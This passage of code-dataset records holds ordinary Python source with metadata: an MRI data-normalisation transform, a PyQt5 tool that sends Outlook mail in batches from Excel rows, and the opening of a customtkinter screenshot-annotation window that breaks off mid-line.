input\n        cropped_image, mean, std = transforms.normalize_instance(cropped_image, eps=1e-11)\n        cropped_image = cropped_image.clamp(-6, 6)\n        # Normalize target\n        target = transforms.to_tensor(target)\n        target = transforms.center_crop(target, (self.resolution, self.resolution))\n        target = transforms.normalize(target, mean, std, eps=1e-11)\n        target = target.clamp(-6, 6)\n        return k_space, target, f_name, slice", "repo_name": "idan94/bm_submission", "sub_path": "dataTransform.py", "file_name": "dataTransform.py", "file_ext": "py", "file_size_in_byte": 1835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "data.transforms.to_tensor", "line_number": 29, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 29, "usage_type": "name"}, {"api_name": "data.transforms.ifft2", "line_number": 30, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "data.transforms.complex_center_crop", "line_number": 31, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "data.transforms.fft2", "line_number": 32, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "data.transforms.normalize_instance", "line_number": 34, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 34, "usage_type": "name"}, {"api_name": "data.transforms.to_tensor", "line_number": 37, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 37, "usage_type": "name"}, {"api_name": "data.transforms.center_crop", "line_number": 38, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 38, "usage_type": "name"}, {"api_name": "data.transforms.normalize", "line_number": 39, "usage_type": "call"}, {"api_name": "data.transforms", "line_number": 39, "usage_type": "name"}]}
{"seq_id": "40790642875", "text": "\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QStatusBar, QButtonGroup, QPushButton, QGridLayout, QLabel, \\\n    QRadioButton, QFileDialog, QMessageBox, QLineEdit, QTextEdit, QFrame, QWidget, QComboBox\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QIcon\n\nimport batch_send as bps\nimport office.outlook_mail as outlook\nfrom batch_send import RowNumConfig\nimport ctypes\n\n\nclass BatchSendMailWidget(QMainWindow):\n    \"\"\"\n    批处理进行邮件发送处理处理的UI\n    \"\"\"\n    _row_config: RowNumConfig\n\n    def __init__(self):\n        super().__init__()\n        # UI处理的各种成员\n        self.setCentralWidget(QWidget())\n        self.setWindowIcon(QIcon('./icon/mail.png'))\n        ctrl_line = []\n        self._ctrl_matrix = []\n        self._btn_group = []\n        label = QLabel(\"发件人：\")\n        ctrl_line.append(label)\n        radio1 = QRadioButton(\"相应EXCEL列号：\")\n        ctrl_line.append(radio1)\n        edit = QLineEdit(\"1\")\n        ctrl_line.append(edit)\n        radio2 = QRadioButton(\"使用填写发件人：\")\n        ctrl_line.append(radio2)\n        edit = QLineEdit(\"\")\n        edit.setEnabled(False)\n        ctrl_line.append(edit)\n        group = QButtonGroup()\n        group.addButton(radio1)\n        group.addButton(radio2)\n        radio1.clicked.connect(self.radio_clicked)\n        radio2.clicked.connect(self.radio_clicked)\n        group.setExclusive(True)\n        radio1.setChecked(True)\n        self._ctrl_matrix.append(ctrl_line)\n        self._btn_group.append(group)\n        ctrl_line = []\n        label = QLabel(\"收件人：\")\n        ctrl_line.append(label)\n        radio1 = QRadioButton(\"相应EXCEL列号：\")\n        ctrl_line.append(radio1)\n        edit = QLineEdit(\"2\")\n        ctrl_line.append(edit)\n        radio2 = QRadioButton(\"使用填写收件人：\")\n        ctrl_line.append(radio2)\n        edit = QLineEdit(\"\")\n        edit.setEnabled(False)\n        ctrl_line.append(edit)\n        group = QButtonGroup()\n        group.addButton(radio1)\n        group.addButton(radio2)\n        radio1.clicked.connect(self.radio_clicked)\n        radio2.clicked.connect(self.radio_clicked)\n        group.setExclusive(True)\n        radio1.setChecked(True)\n        self._ctrl_matrix.append(ctrl_line)\n        self._btn_group.append(group)\n        ctrl_line = []\n        label = QLabel(\"抄送：\")\n        ctrl_line.append(label)\n        radio1 = QRadioButton(\"相应EXCEL列号：\")\n        ctrl_line.append(radio1)\n        edit = QLineEdit(\"3\")\n        ctrl_line.append(edit)\n        radio2 = QRadioButton(\"使用填写抄送人：\")\n        ctrl_line.append(radio2)\n        edit = QLineEdit(\"\")\n        edit.setEnabled(False)\n        ctrl_line.append(edit)\n        group = QButtonGroup()\n        group.addButton(radio1)\n        group.addButton(radio2)\n        radio1.clicked.connect(self.radio_clicked)\n        radio2.clicked.connect(self.radio_clicked)\n        radio1.setChecked(True)\n        self._ctrl_matrix.append(ctrl_line)\n        self._btn_group.append(group)\n        ctrl_line = []\n        label = QLabel(\"邮件标题：\")\n        ctrl_line.append(label)\n        radio1 = QRadioButton(\"相应EXCEL列号：\")\n        ctrl_line.append(radio1)\n        edit = QLineEdit(\"4\")\n        ctrl_line.append(edit)\n        radio2 = QRadioButton(\"使用填写标题：\")\n        ctrl_line.append(radio2)\n        edit = QLineEdit(\"\")\n        edit.setEnabled(False)\n        ctrl_line.append(edit)\n        group = QButtonGroup()\n        group.addButton(radio1)\n        group.addButton(radio2)\n        radio1.clicked.connect(self.radio_clicked)\n        radio2.clicked.connect(self.radio_clicked)\n        radio1.setChecked(True)\n        self._ctrl_matrix.append(ctrl_line)\n        self._btn_group.append(group)\n        ctrl_line = []\n        label = QLabel(\"邮件正文：\")\n        ctrl_line.append(label)\n        radio1 = QRadioButton(\"相应EXCEL列号：\")\n        ctrl_line.append(radio1)\n        edit = QLineEdit(\"5\")\n        ctrl_line.append(edit)\n        radio2 = QRadioButton(\"使用填写正文：\")\n        ctrl_line.append(radio2)\n        edit = QTextEdit(\"\")\n        edit.setEnabled(False)\n        ctrl_line.append(edit)\n        group = QButtonGroup()\n        group.addButton(radio1)\n        group.addButton(radio2)\n        radio1.clicked.connect(self.radio_clicked)\n        radio2.clicked.connect(self.radio_clicked)\n        radio1.setChecked(True)\n        self._ctrl_matrix.append(ctrl_line)\n        self._btn_group.append(group)\n        self._edit_open_xls = QLineEdit(\"\")\n        self._btn_open_xls = QPushButton(\"打开\")\n        self._btn_open_xls.clicked.connect(self.open_xls_clicked)\n        self._combo_xls_sheet = QComboBox()\n        self._combo_xls_sheet.currentIndexChanged.connect(self.combo_sheet_changed)\n        self._edit_start_row = QLineEdit(\"2\")\n        self._edit_end_row = QLineEdit(\"5\")\n        self._btn_send = QPushButton(\"发送\")\n        self._btn_exit = QPushButton(\"退出\")\n        self._btn_send.clicked.connect(self.send_mail)\n        self._btn_exit.clicked.connect(self.exit_app)\n        self._status_bar = QStatusBar()\n        self._status_bar.layout().setAlignment(Qt.AlignRight)\n        # BPS批处理发送处理类\n        self._batch_send = bps.BatchProcessSend()\n        self._default_mail = outlook.SendMailInfo()\n        self._row_config = bps.RowNumConfig()\n        self._column_config = bps.ColumnNumConfig()\n\n    def show(self):\n        grid = QGridLayout()\n        line = 0\n        grid.setSpacing(10)\n        grid.setColumnStretch(0, 1)\n        grid.setColumnStretch(1, 1)\n        grid.setColumnStretch(2, 1)\n        grid.setColumnStretch(3, 1)\n        grid.setColumnStretch(4, 10)\n        grid.setColumnStretch(5, 1)\n        self.centralWidget().setLayout(grid)\n        grid.addWidget(QLabel(\"打开EXCEL配置文件：\"), line, 0)\n        grid.addWidget(self._edit_open_xls, line, 1, 1, 5)\n        grid.addWidget(self._btn_open_xls, line, 6)\n        line += 1\n        grid.addWidget(QLabel(\"EXCEL对应的Sheet：\"), line, 0)\n        grid.addWidget(self._combo_xls_sheet, line, 1, 1, 5)\n        line += 1\n        separator = QFrame()\n        separator.setFrameShape(QFrame.HLine)\n        separator.setFrameShadow(QFrame.Plain)\n        grid.addWidget(separator, line, 0, 1, 8)\n        line += 1\n        for x in self._ctrl_matrix:\n            grid.addWidget(x[0], line, 0, 1, 1)\n            grid.addWidget(x[1], line, 1, 1, 1)\n            grid.addWidget(x[2], line, 2, 1, 1)\n            grid.addWidget(x[3], line, 3, 1, 1)\n            # 给最后一个TextEdit多留一点空间\n            if line == 5:\n                grid.addWidget(x[4], line, 4, 3, 5)\n                line += 3\n            else:\n                grid.addWidget(x[4], line, 4, 1, 5)\n                line += 1\n        separator = QFrame()\n        separator.setFrameShape(QFrame.HLine)\n        separator.setFrameShadow(QFrame.Plain)\n        grid.addWidget(separator, line, 0, 1, 8)\n        line += 1\n        grid.addWidget(QLabel(\"EXCEL起始发送行：\"), line, 0)\n        grid.addWidget(self._edit_start_row, line, 1)\n        line += 1\n        grid.addWidget(QLabel(\"EXCEL结束发送行：\"), line, 0)\n        grid.addWidget(self._edit_end_row, line, 1)\n        line += 1\n        separator = QFrame()\n        separator.setFrameShape(QFrame.HLine)\n        separator.setFrameShadow(QFrame.Plain)\n        grid.addWidget(separator, line, 0, 1, 8)\n        line += 1\n        grid.addWidget(self._btn_send, line, 5)\n        grid.addWidget(self._btn_exit, line, 6)\n        self.move(300, 150)\n        self.setWindowTitle('OA Send Mail')\n        self.setStatusBar(self._status_bar)\n        self._status_bar.showMessage(\"选择配置的EXCEL文件，进行批量发送\")\n        QMainWindow.show(self)\n\n    def radio_clicked(self):\n        radio = self.sender()\n        for x in self._ctrl_matrix:\n            if x[1] == radio:\n                x[1].setChecked(True)\n                x[2].setEnabled(True)\n                x[4].setEnabled(False)\n            elif x[3] == radio:\n                x[3].setChecked(True)\n                x[4].setEnabled(True)\n                x[2].setEnabled(False)\n        pass\n\n    def open_xls_clicked(self):\n        \"\"\"\n        打开文件对话框，\n        \"\"\"\n        file_name, file_type = QFileDialog.getOpenFileName(\n            self,\n            \"选取EXCEL文件\",\n            \"./\",\n            \"Excel Files (*.xls *.xlsx);;All Files (*)\")\n        if file_name == \"\":\n            self._status_bar.showMessage(\"必须选择配置的EXCEL文件，才能进行批量发送\")\n            pass\n        self._status_bar.showMessage(\"已经选择了EXCEL，请选择Sheet\")\n        self._edit_open_xls.setText(file_name)\n        success_open = self._batch_send.open_excel(file_name)\n        if not success_open:\n            QMessageBox.information(self,\n                                    \"提示\",\n                                    \"无法打开对应的EXCEL文件。\",\n                                    QMessageBox.Ok)\n        self._combo_xls_sheet.clear()\n        self._combo_xls_sheet.addItems(self._batch_send.sheets_name)\n        pass\n\n    def send_mail(self) -> bool:\n        \"\"\"\n        发送邮件，\n        \"\"\"\n        if self._ctrl_matrix[0][1].isChecked():\n            self._column_config.sender = int(self._ctrl_matrix[0][2].text())\n            if self._column_config.sender == 0:\n                self._status_bar.showMessage(\"没有填写默认发送人时，发送人列号不能是0\")\n                return False\n        else:\n            self._column_config.sender = 0\n            self._default_mail.sender = self._ctrl_matrix[0][4].text()\n        if self._ctrl_matrix[1][1].isChecked():\n            self._column_config.to = int(self._ctrl_matrix[1][2].text())\n            if self._column_config.to == 0:\n                self._status_bar.showMessage(\"没有填写默认接收人时，接收人列号不能是0\")\n                return False\n            else:\n                if self._column_config.sender == self._column_config.to:\n                    self._status_bar.showMessage(\"不能出现相同的列号\")\n                    return False\n        else:\n            self._column_config.to = 0\n            self._default_mail.to = self._ctrl_matrix[1][4].text()\n        if self._ctrl_matrix[2][1].isChecked():\n            self._column_config.cc = int(self._ctrl_matrix[2][2].text())\n            if self._column_config.cc == 0:\n                self._status_bar.showMessage(\"没有填写默认抄送人时，抄送人列号不能是0\")\n                return False\n            else:\n                if self._column_config.sender == self._column_config.to or \\\n                        self._column_config.to == self._column_config.cc:\n                    self._status_bar.showMessage(\"不能出现相同的列号\")\n                    return False\n        else:\n            self._column_config.cc = 0\n            self._default_mail.cc = self._ctrl_matrix[2][4].text()\n        if self._ctrl_matrix[3][1].isChecked():\n            self._column_config.subject = int(self._ctrl_matrix[3][2].text())\n            if self._column_config.subject == 0:\n                self._status_bar.showMessage(\"没有填写默认标题时，标题列号不能是0\")\n                return False\n        else:\n            self._column_config.subject = 0\n            self._default_mail.subject = self._ctrl_matrix[3][4].text()\n        if self._ctrl_matrix[4][1].isChecked():\n            self._column_config.body = int(self._ctrl_matrix[4][2].text())\n            if self._column_config.body == 0:\n                self._status_bar.showMessage(\"没有填写默认内容时，内容列号不能是0\")\n                return False\n            else:\n                if self._column_config.sender == self._column_config.to or \\\n                        self._column_config.to == self._column_config.cc:\n                    self._status_bar.showMessage(\"不能出现相同的列号\")\n                    return False\n        else:\n            self._column_config.body = 0\n            self._default_mail.body = self._ctrl_matrix[4][4].text()\n\n        self._row_config.send_start = int(self._edit_start_row.text())\n        self._row_config.send_end = int(self._edit_end_row.text())\n        if self._row_config.send_start >= self._row_config.send_end:\n            self._status_bar.showMessage(\"起始，结束发送行错误\")\n            return False\n        self._row_config.mail_count = self._row_config.send_end - self._row_config.send_start + 1\n        cfg_success = self._batch_send.config(self._column_config,\n                                              self._row_config,\n                                              self._default_mail)\n        if not cfg_success:\n            self._status_bar.showMessage(\"配置存在问题，请检查\")\n            return False\n        else:\n            self._status_bar.showMessage(\"配置正确，准备发送{}封邮件\".format(self._row_config.mail_count))\n        i = 0\n        j = self._row_config.send_start\n        while j <= self._row_config.send_end:\n            send_result = self._batch_send.send_one(j)\n            if not send_result:\n                self._status_bar.showMessage(str(\"发送第{}封,第{}行邮件失败\").format(i + 1, j))\n                return False\n            j += 1\n            i += 1\n            self._status_bar.showMessage(str(\"发送第{}封,第{}行邮件成功\").format(i + 1, j))\n        self._status_bar.showMessage(\"全部发送完成\")\n        return True\n\n    def exit_app(self):\n        self._status_bar.showMessage(\"下次再见\")\n        QApplication.quit()\n\n    def combo_sheet_changed(self):\n        load_ok = self._batch_send.load_sheet_byname(self._combo_xls_sheet.currentText())\n        if not load_ok:\n            self._status_bar.showMessage(\"加载EXCEL对应的sheet失败，请检查表格\")\n            return\n        out_info = \"加载sheet[{}]成功.起始结束行列{}\".format(\n            self._combo_xls_sheet.currentText(),\n            self._batch_send.cur_sheet_info())\n        self._status_bar.showMessage(out_info)\n        s_r, s_c, e_r, e_c = self._batch_send.cur_sheet_info()\n        self._row_config.caption = s_r\n        self._row_config.send_start = s_r + 1\n        self._row_config.send_end = e_r\n        self._row_config.mail_count = e_r - s_r\n        self._edit_start_row.setText(str(self._row_config.send_start))\n        self._edit_end_row.setText(str(self._row_config.send_end))\n\n    def bps_start(self) -> bool:\n        start_ok = self._batch_send.start()\n        if not start_ok:\n            QMessageBox.information(window,\n                                    \"提示\",\n                                    \"OA Send Mail需要Outlook和Excel，否则无法使用。\",\n                                    QMessageBox.Ok)\n            QApplication.quit()\n        return True\n\n    def closeEvent(self, event):\n        \"\"\"\n        重写closeEvent方法，实现dialog窗体关闭时执行一些代码\n        \"\"\"\n        self._batch_send.close()\n\n\nif __name__ == '__main__':\n    app = QApplication([])\n    ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(\"OAMail\")\n    font = app.font()\n    font.setPointSize(11)\n    app.setFont(font)\n    window = BatchSendMailWidget()\n    ret = window.bps_start()\n    window.show()\n    app.exec()\n", "repo_name": "sailzeng/OAMail", "sub_path": "source/ui_batch_send.py", "file_name": "ui_batch_send.py", "file_ext": "py", "file_size_in_byte": 15369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 13, "usage_type": "name"}, {"api_name": "batch_send.RowNumConfig", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 33, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 56, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 71, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 73, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 75, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 89, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 91, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 93, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 97, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 111, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 113, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 115, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 117, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 120, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 128, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 129, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 131, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 133, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 134, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 135, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 136, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QStatusBar", "line_number": 139, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 140, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 140, "usage_type": "name"}, {"api_name": "batch_send.BatchProcessSend", "line_number": 142, "usage_type": "call"}, {"api_name": "office.outlook_mail.SendMailInfo", "line_number": 143, "usage_type": "call"}, {"api_name": "office.outlook_mail", "line_number": 143, "usage_type": "name"}, {"api_name": "batch_send.RowNumConfig", "line_number": 144, "usage_type": "call"}, {"api_name": "batch_send.ColumnNumConfig", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 158, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 162, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 165, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame.HLine", "line_number": 166, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 166, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.Plain", "line_number": 167, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 167, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 182, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame.HLine", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 183, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.Plain", "line_number": 184, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 184, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 187, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 190, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 193, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame.HLine", "line_number": 194, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 194, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.Plain", "line_number": 195, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 195, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.show", "line_number": 204, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 204, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 223, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 223, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 235, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 235, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 238, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 238, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.quit", "line_number": 331, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 331, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 353, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 353, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 356, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 356, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.quit", "line_number": 357, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 357, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 368, "usage_type": "call"}, {"api_name": "ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID", "line_number": 369, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 369, "usage_type": "attribute"}]}
{"seq_id": "72534062346", "text": "import threading\nimport time\nfrom tkinter import colorchooser\nfrom tkinter.filedialog import asksaveasfilename\n\nimport customtkinter as ctk\nimport pyautogui as pyautogui\nimport pyperclip\nimport pytesseract as pytesseract\nfrom PIL import ImageTk, Image\n\nfrom custom_widgets.button_group import ImageButtonGroup\nfrom custom_widgets.canvas.circle import Circle\nfrom custom_widgets.canvas.line import Line\nfrom custom_widgets.canvas.rectangle import Rectangle\nfrom custom_widgets.canvas.rectangle_outside_dimming import RectangleOutsideDimming\nfrom custom_widgets.canvas.text import Text\nfrom custom_widgets.move_menu import MoveMenu\nfrom handlers.clipboard_handler import copy_screenshot_to_clipboard\n\n\nclass ScreenWindow(ctk.CTkToplevel):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self.configure(fg_color=\"black\")\n\n        self.attributes(\"-topmost\", True)\n        self.attributes(\"-fullscreen\", True)\n\n        self.screenshot = pyautogui.screenshot()\n        self.resized_screenshot = ImageTk.PhotoImage(self.screenshot)\n\n        self.canvas = ctk.CTkCanvas(self, highlightthickness=0, bg=\"black\")\n        self.canvas.pack(fill=ctk.BOTH, expand=True)\n        self.canvas.create_image(0, 0, anchor=\"nw\", image=self.resized_screenshot)\n        self.canvas.tag_lower(\"image\")\n\n        self.dimming_rect = self.canvas.create_rectangle(\n            0, 0, 0, 0, fill=\"black\", stipple=\"gray50\", tags=\"dimming_rect\"\n        )\n\n        self.focus()\n\n        self.undo_stack = []\n        self.redo_stack = []\n\n        self.corner_button_max_size = 10\n        self.selection_min_size = 20\n\n        self.current_mode = \"selection\"\n        self.selection_rect = RectangleOutsideDimming(self.canvas)\n\n        self.text_menu = False\n        self.main_menu = None\n        self.main_menu_position = None\n        self.draw_menu = None\n        self.drawing_element_menu = None\n        self.textbox = ctk.CTkTextbox(master=self, corner_radius=0)\n\n        self.color_picker_button = None\n\n        self.texbox_menu = None\n        self.move_menu = MoveMenu(\n            self.canvas,\n            self.selection_rect,\n            pyautogui.screenshot(),\n            corner_button_max_size=self.corner_button_max_size,\n            additional_func=lambda: self.creating_menu(),\n            del_func=lambda: self.del_func())\n\n        self.drawing_element = None\n        self.drawing_selection = Rectangle(self.canvas, color=\"gray50\", tags=\"drawing_selection\", dash=(5, 3),\n                                           min_size=3)\n\n        self.drawing_color = \"#FF0000\"\n        self.is_filled = False\n        self.is_dashed = False\n        self.is_arrow = False\n\n        self.holding_shift_l = False\n\n        self.bind_events()\n\n    # Binds\n\n    def unbind_mouse(self) -> None:\n        self.unbind(\"<ButtonRelease-1>\")\n\n    def bind_events(self):\n\n        self.bind_change_element_width()\n        key_up = \"Up\"\n        key_left = \"Left\"\n        key_right = \"Right\"\n        key_down = \"Down\"\n        self.bind_keys_move(key_up, key_left, key_right, key_down)\n        self.bind_keys_move_release(key_up, key_left, key_right, key_down)\n\n        self.bind_mouse_events()\n\n        destroy = \"Escape\"\n        self.bind_destroy(destroy)\n\n        self.bind_unselect()\n        self.bind_undo()\n        self.bind_select_all()\n\n        self.bind_control_l()\n        self.bind_save_copy()\n\n        self.bind_shift_l(key_up, key_left, key_right, key_down)\n        self.bind_alt_l(key_up, key_left, key_right, key_down)\n\n        self.bind_configure()\n\n    def bind_select_all(self):\n        self.bind(\"<Control-a>\", lambda event: self.select_all())\n\n    def select_all(self):\n        self.selection_rect.set_coordinates(start_x=0, start_y=0, end_x=self.canvas.winfo_width(),\n                                            end_y=self.canvas.winfo_height())\n        self.selection_rect.create()\n        self.create_menus()\n\n    def bind_undo(self):\n        self.bind(\"<Control-z>\", lambda event: self.undo_action())\n        self.bind(\"<Control-Shift-Z>\", lambda event: self.redo_action())\n\n    def bind_unselect(self):\n        self.bind(\"<Return>\", lambda event: self.unselect_drawing_element())\n\n    def bind_save_copy(self):\n        self.bind(\"<Control-c>\", self.copy_image)\n        self.bind(\"<Control-s>\", self.save_image)\n\n    def bind_keys_move(self, key_up: str, key_left: str, key_right: str, key_down: str):\n        self.bind(f\"<{key_up}>\", self.move_menu.handle_up_move)\n        self.bind(f\"<{key_left}>\", self.move_menu.handle_left_move)\n        self.bind(f\"<{key_right}>\", self.move_menu.handle_right_move)\n        self.bind(f\"<{key_down}>\", self.move_menu.handle_down_move)\n\n    def bind_keys_move_release(self, key_up: str, key_left: str, key_right: str, key_down: str):\n        self.bind(f\"<KeyRelease-{key_up}>\", self.create_menus)\n        self.bind(f\"<KeyRelease-{key_left}>\", self.create_menus)\n        self.bind(f\"<KeyRelease-{key_right}>\", self.create_menus)\n        self.bind(f\"<KeyRelease-{key_down}>\", self.create_menus)\n\n    def bind_mouse_events(self, event=None):\n        self.canvas.bind(\"<Button-1>\", self.start_selection)\n        self.canvas.bind(\"<B1-Motion>\", self.update_selection)\n        self.canvas.bind(\"<ButtonRelease-1>\", self.create_menus)\n\n    def bind_destroy(self, destroy: str):\n        self.bind(f\"<{destroy}>\", self.destroy_window)\n\n    def bind_configure(self):\n        self.canvas.bind(\"<Configure>\", self.create_dimming_rectangle)\n\n    def bind_control_l(self):\n        self.bind(\"<KeyPress-Control_L>\", self.bind_mouse_events)\n        self.bind(\"<KeyRelease-Control_L>\", self.disable_mouse_selection)\n\n    def bind_shift_l(self, key_up: str, key_left: str, key_right: str, key_down: str):\n        self.bind(\"<KeyPress-Shift_L>\", lambda event: self.handle_stretch(event, key_up, key_left, key_right, key_down))\n        self.bind(\"<KeyRelease-Shift_L>\",\n                  lambda event: self.handle_stretch_release(event, key_up, key_left, key_right, key_down))\n\n    def bind_alt_l(self, key_up: str, key_left: str, key_right: str, key_down: str):\n        self.bind(\"<KeyPress-Alt_L>\",\n                  lambda event: self.handle_stretch(event, key_up, key_left, key_right, key_down, -1))\n        self.bind(\"<KeyRelease-Alt_L>\",\n                  lambda event: self.handle_stretch_release(event, key_up, key_left, key_right, key_down))\n\n    def handle_stretch_release(self, event, key_up: str, key_left: str, key_right: str, key_down: str):\n        self.holding_shift_l = False\n        self.bind_keys_move(key_up, key_left, key_right, key_down)\n        self.bind_keys_move_release(key_up, key_left, key_right, key_down)\n\n    def handle_stretch(self, event, key_up: str, key_left: str, key_right: str, key_down: str, offset: int = 1):\n        self.holding_shift_l = True\n        self.bind_stretch(key_up, key_left, key_right, key_down, offset)\n        self.bind_keys_move_release(key_up, key_left, key_right, key_down)\n\n    def bind_stretch(self, key_up: str, key_left: str, key_right: str, key_down: str, offset: int):\n        self.bind(f\"<{key_up}>\", lambda event: self.move_menu.handle_up_stretch(event, offset))\n        self.bind(f\"<{key_left}>\", lambda event: self.move_menu.handle_left_stretch(event, 